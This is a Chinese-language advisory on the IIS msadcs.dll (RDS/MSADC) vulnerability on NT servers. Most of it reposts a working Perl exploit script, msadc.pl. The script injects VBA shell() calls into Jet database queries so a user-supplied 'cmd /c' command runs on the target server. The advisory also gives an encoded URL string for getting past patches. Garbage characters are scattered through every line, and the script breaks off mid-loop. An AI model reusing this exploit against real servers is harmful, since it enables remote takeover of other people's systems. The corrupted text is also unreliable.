IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
S
xg Yq "8rP?B( 涉及程序:
kOjq LA Microsoft NT server
qI"mW@G~H &0lNj@/ 描述:
kP6r=HH@ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
l&yR-FJ7KY <)&ykcB 详细:
ruW6cvsvet 如果你没有时间读详细内容的话,就删除:
Jv?e?U c:\Program Files\Common Files\System\Msadc\msadcs.dll
I2Us!W>6- 有关的安全问题就没有了。
[_~U<
DUtpd| 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
5N6%N1 `BvcIn4do 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
n}+
DO6J 关于利用ODBC远程漏洞的描述,请参看:
p\HXE4d' IW46-;l7 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k^L (q\D j C@^/rMh 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
l)|CPSN?w http://www.microsoft.com/security/bulletins/MS99-025faq.asp vB,N6~r> 6SmSu\lgV 这里不再论述。
FJ!>3V;} ^1g6(k' 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
*rbH|o 8 #A/jGv^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~<eiWDf 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
3!
+5MsR+ (5I]um tge UFl*^j_)] #将下面这段保存为txt文件,然后: "perl -x 文件名"
B%t^QbU #\ 2#&K3v #!perl
(>jME #
|#sP1w'l] # MSADC/RDS 'usage' (aka exploit) script
g5"g,SFGr #
Z4e?zY # by rain.forest.puppy
dYsqF
3f #
\i&yR]LF # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
yJrPb" # beta test and find errors!
$W2g2[+ j`
x9z_ use Socket; use Getopt::Std;
<)}*S getopts("e:vd:h:XR", \%args);
a0n
F U sv[)?1S print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
w_-{$8| AV'> if (!defined $args{h} && !defined $args{R}) {
jy*wj7fj1 print qq~
Gg&jb= Usage: msadc.pl -h <host> { -d <delay> -X -v }
RsY<j& f -h <host> = host you want to scan (ip or domain)
AiyjrEa% -d <seconds> = delay between calls, default 1 second
<wuP*vI"h -X = dump Index Server path table, if available
f;b(W -v = verbose
toCN{[ -e = external dictionary file for step 5
>Kr,(8rA z(m*]kpL" Or a -R will resume a command session
vSX
6~m D"o>\Q ~; exit;}
]EK"AuEz` n% *u;iG $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gC3{:MC-G if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
wb{y]~&6K if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*n*OVI8L if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
wF%XM_M $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
;?y?s'>t& if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
REt()$
7~ +-oXW>`& if (!defined $args{R}){ $ret = &has_msadc;
Mz06cw& die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
USbiI% "qF&%r' print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^fx9R5E$: . "cmd /c ";
E`X+fJx $in=<STDIN>; chomp $in;
EfyF]cYL $command="cmd /c " . $in ;
dRu@5
:BP NLdUe32A if (defined $args{R}) {&load; exit;}
>S~ #E,Tg "#9WF} print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
WOwIJrP &try_btcustmr;
8Yj(/S3y <Ei|:m print "\nStep 2: Trying to make our own DSN...";
We9mkwK7C &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
fEpY3od ja:%j&: print "\nStep 3: Trying known DSNs...";
1{,WY(,c &known_dsn;
Mpj3<vj ~@-Az([H print "\nStep 4: Trying known .mdbs...";
A$
S9
` &known_mdb;
L*5&hPU Yd,*LYd2EL if (defined $args{e}){
u'N'<(\k print "\nStep 5: Trying dictionary of DSN names...";
9 ROKueP &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
~MXPiZG? H7{ 6t(0j print "Sorry Charley...maybe next time?\n";
-aO3/Ik[q exit;
O,bj_CW x jf})"fz-* ##############################################################################
s=6w-'; V }^QY<Cp| sub sendraw { # ripped and modded from whisker
W=|B3}C? sleep($delay); # it's a DoS on the server! At least on mine...
c#l
(~g$D+ my ($pstr)=@_;
Lb];P"2e+ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
IUZsLNW die("Socket problems\n");
eag$i.^aS if(connect(S,pack "SnA4x8",2,80,$target)){
!WY@)qlf select(S); $|=1;
@z2RMEC~ print $pstr; my @in=<S>;
KN%Xp/lkX select(STDOUT); close(S);
Q0r_+0[7j return @in;
<}UqtDF 0 } else { die("Can't connect...\n"); }}
NZD
X93 [pOU!9v4 ##############################################################################
1di?@F2f }vm17`Gfy sub make_header { # make the HTTP request
;[6u79;I my $msadc=<<EOT
NfN#q:w1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
G?[#<W@+ User-Agent: ACTIVEDATA
^&,{ Host: $ip
hTy#Q.= Content-Length: $clen
=GLsoc-b Connection: Keep-Alive
@P~u k S>'wb{jj! ADCClientVersion:01.06
qV(Plt% Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
3rWqt -m__I U --!ADM!ROX!YOUR!WORLD!
}XAoMp Content-Type: application/x-varg
^ i\zMMR Content-Length: $reqlen
sd=i!r)ya gz$=\=%>RL EOT
yP"_j&ef7 ; $msadc=~s/\n/\r\n/g;
is`a_{5e= return $msadc;}
?$o8=h Jw86P= ##############################################################################
2x`#
f0[ l,d8%\ sub make_req { # make the RDS request
ZkK +?:9 my ($switch, $p1, $p2)=@_;
Ru
sa
&#[ my $req=""; my $t1, $t2, $query, $dsn;
ZLO_5#< BgE]xm if ($switch==1){ # this is the btcustmr.mdb query
b?Vu9! $query="Select * from Customers where City=" . make_shell();
Y@pa+~[{h3 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
7#<|``]zNf $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
$x 2t0@ S#ven& elsif ($switch==2){ # this is general make table query
!Hgq7vZG $query="create table AZZ (B int, C varchar(10))";
>Cf]uiR $dsn="$p1";}
5[;^Em)C W`;E-28Dg elsif ($switch==3){ # this is general exploit table query
u2F
3>s $query="select * from AZZ where C=" . make_shell();
7&+Gv6E $dsn="$p1";}
;)o%2#I m6JIq}CMb elsif ($switch==4){ # attempt to hork file info from index server
z? cRsqf $query="select path from scope()";
}]f)Fz $dsn="Provider=MSIDXS;";}
.&L#%C i/WYjo elsif ($switch==5){ # bad query
D'</eJ $query="select";
#$#{QEh0} $dsn="$p1";}
mDo]5 i< ?B[Z9Ef"8l $t1= make_unicode($query);
{E@@14]g $t2= make_unicode($dsn);
[y'jz~9c $req = "\x02\x00\x03\x00";
8_ju.h[ $req.= "\x08\x00" . pack ("S1", length($t1));
kH{axMNc $req.= "\x00\x00" . $t1 ;
2o{Fp7l $req.= "\x08\x00" . pack ("S1", length($t2));
_tYt<oB~% $req.= "\x00\x00" . $t2 ;
lM?P8#3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
E|Z Y2&J`4 return $req;}
}G-qOt `<
VoZ/v ##############################################################################
(z"Cwa@e BPC$ v\a sub make_shell { # this makes the shell() statement
{U&Mo97rzX return "'|shell(\"$command\")|'";}
:egSW2"5S F-2HE><+ ##############################################################################
/(vT49(] om@` NW sub make_unicode { # quick little function to convert to unicode
%M ~X:A;4 my ($in)=@_; my $out;
VP|9Cm=Fg for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
T 0Y=gn return $out;}
ah~7T~ {KODwP'~ ##############################################################################
.-nA#/2- 3``$yWWg sub rdo_success { # checks for RDO return success (this is kludge)
G&:YgwG my (@in) = @_; my $base=content_start(@in);
t7n*kiN<q if($in[$base]=~/multipart\/mixed/){
haB$W 4x return 1 if( $in[$base+10]=~/^\x09\x00/ );}
|QXW$ return 0;}
B< 6*Ktc ^W'\8L ##############################################################################
e}7qZ^ AD~\/V&+ sub make_dsn { # this makes a DSN for us
Px)VDs=k my @drives=("c","d","e","f");
lQ)ZsFs= print "\nMaking DSN: ";
-O -_F6p'D foreach $drive (@drives) {
BYwG\2?~ print "$drive: ";
p2tBF98 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
8a"aJYj "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
r@wWGbQ|L . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
~D
5'O^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
_RhCVoeB return 0 if $2 eq "404"; # not found/doesn't exist
u9'4q<>& if($2 eq "200") {
|9}G foreach $line (@results) {
Z @j0J[s return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
[L9e.n1 } return 0;}
A2F+$N (\M&/X~q ##############################################################################
H.Pts>3r( 2<U5d` sub verify_exists {
~vG~Z*F my ($page)=@_;
O8n\>p kI my @results=sendraw("GET $page HTTP/1.0\n\n");
HQTB4_K\ return $results[0];}
`/0X].s#o 'ApWYt ##############################################################################
0I079fqk< ~"{Kjr#R sub try_btcustmr {
e>"{nOY4 my @drives=("c","d","e","f");
0
R^Xn my @dirs=("winnt","winnt35","winnt351","win","windows");
HOXqIZN85 5Sk87o1E(d foreach $dir (@dirs) {
qH"e:
wgL print "$dir -> "; # fun status so you can see progress
L
+-B,466 foreach $drive (@drives) {
c5^i5de print "$drive: "; # ditto
4B!]%Mw;c $reqlen=length( make_req(1,$drive,$dir) ) - 28;
03_tt7 $reqlenlen=length( "$reqlen" );
Rl<~:,D
$clen= 206 + $reqlenlen + $reqlen;
~(G]-__B< F|Jo|02 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
A*E$_N if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
g9p#v$V else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\ tU91VIj O:#t>
; ##############################################################################
hA)3Ah* LV'v7 2yUH sub odbc_error {
e6#^4Y/+` my (@in)=@_; my $base;
.2Gn)dZU my $base = content_start(@in);
Nqewtn9n if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
42
8kC, $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=<R77rnY& $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V=.lpj9m $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
aCy2.Qn return $in[$base+4].$in[$base+5].$in[$base+6];}
naM4X@jl print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+g\u=&<6 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
a+,)rY9 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
6BNOF66kH RG # ##############################################################################
7$;mkHu4H% /?HRq ?n sub verbose {
lvcX}{>\ my ($in)=@_;
Y#NlbKkzu return if !$verbose;
WWHT;ST print STDOUT "\n$in\n";}
prhFA3
rW. 8_m dh + ##############################################################################
^MDBJ0
I. ) Q]kUG#` sub save {
;. /Tv84I^ my ($p1, $p2, $p3, $p4)=@_;
nBZqhtr open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_9""3O print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
'<$(* close OUT;}
N2xgyKy~ dt^yEapjM ##############################################################################
ATH0n>) cfa#a!Y4 sub load {
k
h#|`E#, my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d),@&MSN open(IN,"<rds.save") || die("Couldn't open rds.save\n");
=i\~][- @p=<IN>; close(IN);
?Tt/,Hl?D $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
/V-7 u $target= inet_aton($ip) || die("inet_aton problems");
Wvmf[!V; print "Resuming to $ip ...";
2u/(Q># $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
s%;18V:pi if($p[1]==1) {
4?1Ac7bE $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
C5 ^_R $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
s
XRiUDP` my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
C`7HC2Is if (rdo_success(@results)){print "Success!\n";}
6HFA2~A else { print "failed\n"; verbose(odbc_error(@results));}}
XOVZ'V elsif ($p[1]==3){
l*xA5ObV if(run_query("$p[3]")){
u*}6)=+: print "Success!\n";} else { print "failed\n"; }}
B5P++aQ elsif ($p[1]==4){
OJQ7nChMm if(run_query($drvst . "$p[3]")){
noGMfZ1 print "Success!\n"; } else { print "failed\n"; }}
E^T/Qu exit;}
U/wY;7{)# Q(E$;@
##############################################################################
IcI y !W{|7Es?. sub create_table {
V=QvwQlZ my ($in)=@_;
@N1ta-D# $reqlen=length( make_req(2,$in,"") ) - 28;
j+PW9>Uh $reqlenlen=length( "$reqlen" );
`:?padZG $clen= 206 + $reqlenlen + $reqlen;
fh:=ja?bM3 my @results=sendraw(make_header() . make_req(2,$in,""));
X
NnsMl return 1 if rdo_success(@results);
**dGK_^T0 my $temp= odbc_error(@results); verbose($temp);
Nbuaw[[iz return 1 if $temp=~/Table 'AZZ' already exists/;
h9&<-k return 0;}
0XvMaQXQF a(BWV?A ##############################################################################
+!'6:F W;Ox H"eC sub known_dsn {
J+w"{ O # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
{b7P1}>-* my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
=KMd! $J\ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
/Y|9!{. "banner", "banners", "ads", "ADCDemo", "ADCTest");
GcHWalm Uiv;0Tovl foreach $dSn (@dsns) {
g}L2\i688 print ".";
;{j:5+' next if (!is_access("DSN=$dSn"));
K\,&wU if(create_table("DSN=$dSn")){
!A&Vg # print "$dSn successful\n";
>2Z:=HT if(run_query("DSN=$dSn")){
pJK puoiX print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
NJLU+byU print "Something's borked. Use verbose next time\n";}}} print "\n";}
^5QSV\X %ktU 51o ##############################################################################
Y')in7g ukzXQe;l1 sub is_access {
_av%`bb&z9 my ($in)=@_;
bXC;6xZV $reqlen=length( make_req(5,$in,"") ) - 28;
}us%G&A2u $reqlenlen=length( "$reqlen" );
_dIv{L! $clen= 206 + $reqlenlen + $reqlen;
_H<ur?G my @results=sendraw(make_header() . make_req(5,$in,""));
-Y2h vC my $temp= odbc_error(@results);
'R,1Jmx verbose($temp); return 1 if ($temp=~/Microsoft Access/);
*.n9D return 0;}
xGPt5l<M& V?0|#=_mE ##############################################################################
3QM.X^ANH |P>>
^,iUn sub run_query {
2pxl! my ($in)=@_;
/vwGSuk._ $reqlen=length( make_req(3,$in,"") ) - 28;
}NiJDs $reqlenlen=length( "$reqlen" );
onHUi]yYu{ $clen= 206 + $reqlenlen + $reqlen;
u
L/*,[}' my @results=sendraw(make_header() . make_req(3,$in,""));
f*bs{H'5 return 1 if rdo_success(@results);
33s.p' my $temp= odbc_error(@results); verbose($temp);
5 S7\m5 return 0;}
P=(\3ok SI8mr`gJ ##############################################################################
hdfNXZ{A" D@7\Fg sub known_mdb {
yrE|cH'f0 my @drives=("c","d","e","f","g");
52{jq18& my @dirs=("winnt","winnt35","winnt351","win","windows");
By:A9s my $dir, $drive, $mdb;
AIN_.=]"? my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
V)_mo/D!D *~:4&$ # this is sparse, because I don't know of many
{*yhiE , my @sysmdbs=( "\\catroot\\icatalog.mdb",
&HT
PeB "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
|JnJ=@-y "\\system32\\certmdb.mdb",
6 @'v6 1' "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
vAHJP$x |A[Le
;, my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
-8#Of)W "\\cfusion\\cfapps\\forums\\forums_.mdb",
enDjP "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
| t3_E "\\cfusion\\cfapps\\security\\realm_.mdb",
"&77`R "\\cfusion\\cfapps\\security\\data\\realm.mdb",
US@ak4Y6Z "\\cfusion\\database\\cfexamples.mdb",
p`T7Y\\#! "\\cfusion\\database\\cfsnippets.mdb",
.2Y"=|NdA "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Mp7r`A,6 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Y[
a$~n^:n "\\cfusion\\brighttiger\\database\\cleam.mdb",
Vdh5s 292h "\\cfusion\\database\\smpolicy.mdb",
&NB[:S= "\\cfusion\\database\cypress.mdb",
Ag#p ) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
W5HC7o\4 "\\website\\cgi-win\\dbsample.mdb",
^W3xw[{ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
{UvZ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
!E4YUEY6 ); #these are just
7:9WiN5b foreach $drive (@drives) {
ZMy,<wk foreach $dir (@dirs){
7o'kdYJzo foreach $mdb (@sysmdbs) {
G0xk @SE print ".";
EX|Wd|aK if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
U43PHcv_ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
lJ:B9n3OzT if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
v>;6pcp[F print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Z
r } else { print "Something's borked. Use verbose next time\n"; }}}}}
S^a")U4 qIuY2b`6 foreach $drive (@drives) {
s{'r'`z. foreach $mdb (@mdbs) {
GbBcC#0 print ".";
w)5eD+n\- if(create_table($drv . $drive . $dir . $mdb)){
&,3.V+Sz print "\n" . $drive . $dir . $mdb . " successful\n";
|r%6;8A]i if(run_query($drv . $drive . $dir . $mdb)){
m80Q Mosp print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
u\<